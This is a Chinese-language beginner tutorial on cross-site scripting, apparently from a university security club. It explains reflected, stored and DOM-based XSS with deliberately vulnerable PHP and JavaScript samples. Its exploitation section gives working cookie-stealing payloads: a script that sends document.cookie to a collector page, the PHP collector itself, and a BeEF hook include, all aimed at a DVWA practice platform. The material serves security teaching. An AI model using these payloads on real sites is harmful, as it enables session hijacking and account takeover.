XSS漏洞基础入门
前言
XSS漏洞
Xss(Cross-Site Scripting)意为跨站脚本攻击,为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。XSS漏洞是一种在WEB应用中常见的安全漏洞,它孕育用户将恶意代码植入web页面,当其他用户访问此页面时,植入的恶意代码就会在其他用户的客户端中执行。
XSS漏洞的危害很多,可以通过XSS漏洞获取客户端信息(cookie),可以通过XSS蠕虫进行信息传播,可以再客户端中植入木马,可以结合其他漏洞攻击服务器,在服务器中植入木马
我们可以参考这张图的攻击场景,用户男发给用户女一段含有XSS攻击的代码,此时用户女触发后用户女的cookie数据传递给了用户男,此时用户男就可以利用这段cookie登陆用户女的账户。
XSS漏洞分类
xss漏洞分为三种分别为:反射型、存储型、DOM型
1.反射型
利用反射型XSS漏洞植入的恶意代码不会存储在服务器端,一般容易出现在搜索页面,需要构造植入恶意代码的web页面,诱骗受害者访问该页面,才能触发攻击。
测试代码:
<?php if (isset($_GET[‘name‘])) { $name=$_GET[‘name‘]; echo "<h1> Hello ".$name."<h1>"; }else{ exit(); } ?>
这段代码是接受用户get传进来的参数赋值给$name变量 打印到页面中 我们看到这段代码没有任何过滤 所以此时我们传入<script>alert("xiaohua")</script>
Payload: http://127.0.0.1/test.php?name=<script>alert("xiaohua")</script>
此时XSS漏洞触发 利用方法在最后面部分!
2.存储型
利用存储型XSS的恶意代码在服务器中,一般植入留言板、个人信息、文章发表等功能的页面中。如果页面对用户输入的数据过滤不严格,恶意用户将恶意代码存储到服务器中。这种类型的XSS漏洞危害非常严重,因为恶意代码会存储到服务器中,客户端每次访问服务器都会触发恶意代码
3.DOM型
DOM型XSS漏洞是基于文档对象模型(Document Object Model)的一种XSS漏洞
DOM参考这里: https://www.w3school.com.cn/htmldom/index.asp
示例代码:
<script type="text/javascript"> function domxss(){ var str=document.getElementById("input").value; document.getElementById("output").innerHTML=str; } </script> <h2 id="output"></h2> <input type="text" id="input" value=""> <input type="button" value="submit" onclick="domxss()">
代码中domxss函数,此函数通过DOM将input节点的值作为变量赋予output节点
当输入xiaohua时,通过domxss函数会将output节点赋值为xiaohua
如果输入<img src=1 onerror=alert(/xiaohua2020/) />时通过domxss函数会将output节点赋值为<img src=1 onerror=alert(/xiaohua2020/) />页面会由于执行错误而出发弹窗
无法加载该图片,所以触发onerror函数。src属性可以填任意错误的路径。
XSS漏洞利用
1.例1-本地搭建页面盗取cookie
本地服务器创建cookie.php页面 输入此内容用于接收cookie传过来的值 存入cookie.txt折个文件
<?php $cookie=$_GET[‘cookie‘]; file_put_contents(‘cookie.txt‘,$cookie); ?>
打开榆林学院信息安全协会搭建的DVWA平台 选择XSS(Refilected) 反射型XSS页面在输入框输入<script>alert("xiaohua")</script>回车看到弹窗说明存在XSS漏洞
榆林学院信息安全协会DWVA平台平带地址:http://101.201.65.164/DVWA/
我们利用本地搭建的盗取cookie的页面进行构造:<script>document.location="http://127.0.0.1/lou/cookie.php?cookie="+document.cookie</script> 输入进去回车
查看本地获取cookie页面的根目录cookie.txt文件打开可以看到成功获取到了cookie
例2-利用BeEF盗取cookie
BeEF安装目录:/usr/share/beff-xss
默认管理页面:页面:http://127.0.0.1:3000/ui/panel 默认用户名密码都是beef
利用脚本<script src="http://127.0.0.1:3000/hook.js"></script>
反射型例子
填入访问即可获得coolie到beef客户端
DWVA是外网的架构在我们榆林学院信息安全协会训练平台的服务器上大家可以访问进行练习:
http://101.201.65.164/DVWA/login.php
成功盗取
推荐资料
资料:
XSS漏洞实例
链接:https://pan.baidu.com/s/1NcPQapMMjehMQSXrF3qH_g
提取码:hpoh
书:
《web前端黑客技术揭秘》
《XSS跨站脚本攻击剖析与防御》